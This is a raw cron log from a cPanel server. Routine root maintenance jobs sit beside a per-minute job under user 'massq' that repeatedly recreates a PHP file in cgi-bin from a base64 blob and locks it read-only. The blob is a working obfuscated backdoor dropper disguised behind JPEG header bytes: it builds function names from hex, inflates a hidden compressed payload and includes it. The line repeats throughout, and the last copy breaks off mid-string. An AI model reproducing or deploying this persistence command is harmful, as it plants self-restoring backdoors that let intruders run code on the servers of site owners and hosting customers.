Sep 12 00:20:01 server CROND[3886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:20:01 server CROND[3894]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:20:01 server CROND[3898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:20:01 server CROND[3913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:20:01 server CROND[3911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:20:01 server CROND[3918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:20:01 server CROND[3915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:20:01 server CROND[3916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:21:01 server CROND[4717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:21:01 server CROND[4718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:21:01 server CROND[4719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:22:01 server CROND[5193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:22:01 server CROND[5194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:22:01 server CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:23:01 server CROND[5586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:23:01 server CROND[5587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:23:01 server CROND[5588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:24:01 server CROND[5954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:24:01 server CROND[5955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:24:01 server CROND[5956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:25:01 server CROND[6400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:25:01 server CROND[6401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:25:01 server CROND[6403]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:25:01 server CROND[6406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:25:01 server CROND[6405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:25:01 server CROND[6402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:25:01 server CROND[6404]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 00:25:01 server CROND[6408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:26:01 server CROND[7236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:26:01 server CROND[7237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:26:01 server CROND[7238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:27:01 server CROND[7701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:27:01 server CROND[7700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:27:01 server CROND[7708]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:27:01 server CROND[7709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:28:01 server CROND[8079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:28:01 server CROND[8080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:28:01 server CROND[8081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:29:01 server CROND[8445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:29:01 server CROND[8446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:29:01 server CROND[8447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:30:01 server CROND[8823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:30:01 server CROND[8826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:30:01 server CROND[8827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:30:01 server CROND[8828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:30:01 server CROND[8832]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:30:01 server CROND[8829]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 00:30:01 server CROND[8830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:30:01 server CROND[8834]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:30:01 server CROND[8825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:31:01 server CROND[9678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:31:01 server CROND[9679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJV